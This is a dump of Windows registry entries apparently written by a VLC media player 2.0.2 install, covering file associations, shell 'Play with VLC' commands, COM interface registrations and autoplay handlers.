[HKCR\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.mov\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Wow6432Node\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}]
"(Default)" = "IVLCControl"

[HKCR\VLC.spx\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.wma\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mpa]
"(Default)" = "VLC media file (.mpa)"

[HKCR\VLC.669\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.wmv]
"(Default)" = "VLC.wmv"

[HKCR\VLC.DVDMovie]
"(Default)" = "VLC DVD Movie"

[HKCR\VLC.ifo\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.m3u8]
"(Default)" = "VLC.m3u8"

[HKCR\VLC.adts\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".flv" = ""

[HKCR\VLC.adt\shell]
"(Default)" = "Open"

[HKCR\.adt]
"(Default)" = "VLC.adt"

[HKCR\Wow6432Node\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}]
"(Default)" = "IVLCVideo"

[HKCR\VLC.3ga\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ogv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".vqf" = "VLC.vqf"

[HKCR\VLC.mts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.s3m\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.dv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.webm\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.oma\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m3u\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mka\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.xspf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.f4v]
"(Default)" = "VLC media file (.f4v)"

[HKCR\VLC.m3u8\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".b4s" = "VLC.b4s"

[HKCR\VLC.aif\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.drc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ogx\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpeg\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.aob\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.2]
"Version" = "2.0.2"

[HKCR\VLC.3gp]
"(Default)" = "VLC media file (.3gp)"

[HKCR\VLC.mpeg4\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".nsv" = "VLC.nsv"

[HKCR\.rmi]
"(Default)" = "VLC.rmi"

[HKCR\VLC.tta\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.amv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.aif]
"(Default)" = "VLC.aif"

[HKCR\VLC.m2ts\shell]
"(Default)" = "Open"

[HKCR\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}]
"(Default)" = "IVLCPlaylist"

[HKCR\.oga]
"(Default)" = "VLC.oga"

[HKCR\VLC.mp1\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m1v" = "VLC.m1v"

[HKCR\VLC.gxf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.cda\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".b4s" = ""

[HKCR\VLC.adt\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.adt\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\InstallInfo]
"ShowIconsCommand" = "%Program Files% (x86)\VideoLAN\VLC\spad-setup.exe /ShowIcons /S"

[HKCR\VLC.ifo\shell]
"(Default)" = "Open"

[HKCR\VLC.ogm\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mkv]
"(Default)" = "VLC media file (.mkv)"

[HKCR\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.m2t\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".nsv" = ""

[HKCR\VLC.oma\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mid]
"(Default)" = "VLC media file (.mid)"

[HKCR\VLC.vqf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.snd\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayVideoFilesOnArrival]
"VLCPlayVideoFilesOnArrival" = ""

[HKCR\VLC.it\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ac3\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.rec\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".snd" = "VLC.snd"

[HKCR\VLC.adts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Wow6432Node\Interface\{465E787A-0556-452F-9477-954E4A940003}]
"(Default)" = "IVLCSubtitle"

[HKCR\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}]
"(Default)" = "IVLCAudio"

[HKCR\VLC.3gp\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.wav\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mkv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ape\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.3ga\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.caf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.aac\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpg\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m2v]
"(Default)" = "VLC media file (.m2v)"

[HKCR\VLC.cda\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.ram\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.gxf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".asf" = "VLC.asf"
".asx" = "VLC.asx"

[HKCR\VLC.aifc\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mid\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ac3\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.s3m\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.bin\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"InvokeVerb" = "Open"
"Action" = "Play audio files"

[HKCR\VLC.3gp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mp1\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.flv]
"(Default)" = "VLC.flv"

[HKLM\SOFTWARE\Clients\Media\VLC\InstallInfo]
"HideIconsCommand" = "%Program Files% (x86)\VideoLAN\VLC\spad-setup.exe /HideIcons /S"

[HKCR\Applications\vlc.exe\SupportedTypes]
".caf" = ""

[HKCR\VLC.ram]
"(Default)" = "VLC media file (.ram)"

[HKCR\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.mts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mxf" = "VLC.mxf"

[HKCR\VLC.wv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.spx\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.xm\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.asx]
"(Default)" = "VLC media file (.asx)"

[HKCR\VLC.mp2v]
"(Default)" = "VLC media file (.mp2v)"

[HKCR\VLC.mtv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mod\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mov\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.aiff\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Wow6432Node\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.aifc]
"(Default)" = "VLC media file (.aifc)"

[HKCR\VLC.avi\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.tts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m2t\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\DVD\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file dvd:///%1"

[HKCR\VLC.divx\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".vro" = "VLC.vro"

[HKCR\VLC.m2ts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.xa\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.3gpp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3gp2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xm]
"(Default)" = "VLC media file (.xm)"

[HKCR\VLC.nuv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mod\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.aifc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m3u\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.voc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpeg2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m4a\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.dv\shell]
"(Default)" = "Open"

[HKCR\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}]
"(Default)" = "DVLCEvents"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".dv" = "VLC.dv"

[HKCR\VLC.mpa\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpeg2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m1v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.spx\shell]
"(Default)" = "Open"

[HKCR\VLC.mkv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.rmi]
"(Default)" = "VLC media file (.rmi)"

[HKCR\VLC.a52\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.drc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m2t\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.3gp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.vqf]
"(Default)" = "VLC media file (.vqf)"

[HKCR\VLC.bin\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ac3\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.amr\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp2\shell]
"(Default)" = "Open"

[HKCR\VLC.tta\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".vob" = "VLC.vob"

[HKCR\VLC.au\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rmvb\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\ProgID]
"(Default)" = "VideoLAN.VLCPlugin.2"

[HKCR\VLC.oma\shell]
"(Default)" = "Open"

[HKCR\VLC.snd\shell]
"(Default)" = "Open"

[HKCR\VLC.aiff\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\.mpeg1]
"(Default)" = "VLC.mpeg1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\VLC.asf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\VLC.mpeg1\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.amv]
"(Default)" = "VLC media file (.amv)"

[HKCR\VLC.mp4\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.vqf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.mpg]
"(Default)" = "VLC.mpg"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3gp2" = "VLC.3gp2"

[HKCR\VLC.mlp\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.flac\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m4v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.ogv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayDVDAudioOnArrival]
"VLCPlayDVDAudioOnArrival" = ""

[HKCR\VLC.drc]
"(Default)" = "VLC media file (.drc)"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.2]
"vendor" = "VideoLAN"

[HKCR\VLC.tta\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.b4s]
"(Default)" = "VLC media file (.b4s)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".wmv" = "VLC.wmv"

[HKCR\VLC.wv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m1v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpv2]
"(Default)" = "VLC media file (.mpv2)"

[HKCR\VLC.m4v\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".adt" = ""

[HKCR\.rec]
"(Default)" = "VLC.rec"

[HKCR\.mid]
"(Default)" = "VLC.mid"

[HKCR\VLC.mp2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.vqf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.mpc]
"(Default)" = "VLC.mpc"

[HKCR\VLC.rmvb\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m2ts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m4a\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.wma\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.xa\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mod\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m3u8\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.gxf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.oga\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".adt" = "VLC.adt"

[HKCR\VLC.vlc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp1\shell]
"(Default)" = "Open"

[HKCR\VLC.xm\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ram\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.spx]
"(Default)" = "VLC media file (.spx)"

[HKCR\VLC.tta\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aiff\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aac\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u]
"(Default)" = "VLC media file (.m3u)"

[HKCR\Interface\{465E787A-0556-452F-9477-954E4A940003}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.wav\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.wv\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".webm" = ""
".ogx" = ""
".au" = ""

[HKCR\VLC.drc\shell]
"(Default)" = "Open"

[HKCR\VLC.mtv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.nsv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mxf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.aifc]
"(Default)" = "VLC.aifc"

[HKCR\Applications\vlc.exe\SupportedTypes]
".drc" = ""

[HKCR\VLC.rmi\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.avi]
"(Default)" = "VLC media file (.avi)"

[HKCR\VLC.s3m\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.cue]
"(Default)" = "VLC.cue"

[HKCR\.ogv]
"(Default)" = "VLC.ogv"

[HKCR\VLC.mp4v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.it\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\MiscStatus\1]
"(Default)" = "131473"

[HKCR\Directory\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.tod\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.m3u8]
"(Default)" = "VLC media file (.m3u8)"

[HKCR\VLC.it\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.asf]
"(Default)" = "VLC.asf"

[HKCR\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.voc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.bin\shell]
"(Default)" = "Open"

[HKCR\VLC.ogm\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ac3\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xspf]
"(Default)" = "VLC media file (.xspf)"

[HKCR\VLC.m4v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".OGA" = "VLC.oga"
".OGG" = "VLC.ogg"

[HKCR\.ifo]
"(Default)" = "VLC.ifo"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".ogm" = "VLC.ogm"

[HKCR\VLC.adts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.sdp\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".ogx" = "VLC.ogx"

[HKCR\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.caf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.xa\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".WV" = "VLC.wv"

[HKCR\VLC.ts\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKLM\SOFTWARE\RegisteredApplications]
"vlc" = "Software\Clients\Media\VLC\Capabilities"

[HKCR\VLC.669\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mpg" = ""
".mpe" = ""
".MPC" = ""
".mpa" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".tod" = "VLC.tod"

[HKCR\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.mod\shell]
"(Default)" = "Open"

[HKCR\VLC.wmv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Wow6432Node\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\TypeLib]
"Version" = "1.0"

[HKCR\Applications\vlc.exe\shell\Open]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.adt\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.au\shell]
"(Default)" = "Open"

[HKCR\VLC.mpg\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MP3" = ""

[HKLM\SOFTWARE\Clients\Media\VLC]
"(Default)" = "VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MP1" = ""

[HKCR\VLC.rmi\shell]
"(Default)" = "Open"

[HKCR\VLC.ac3\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}]
"(Default)" = "IVLCInput"

[HKCR\VLC.s3m\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m4v]
"(Default)" = "VLC media file (.m4v)"

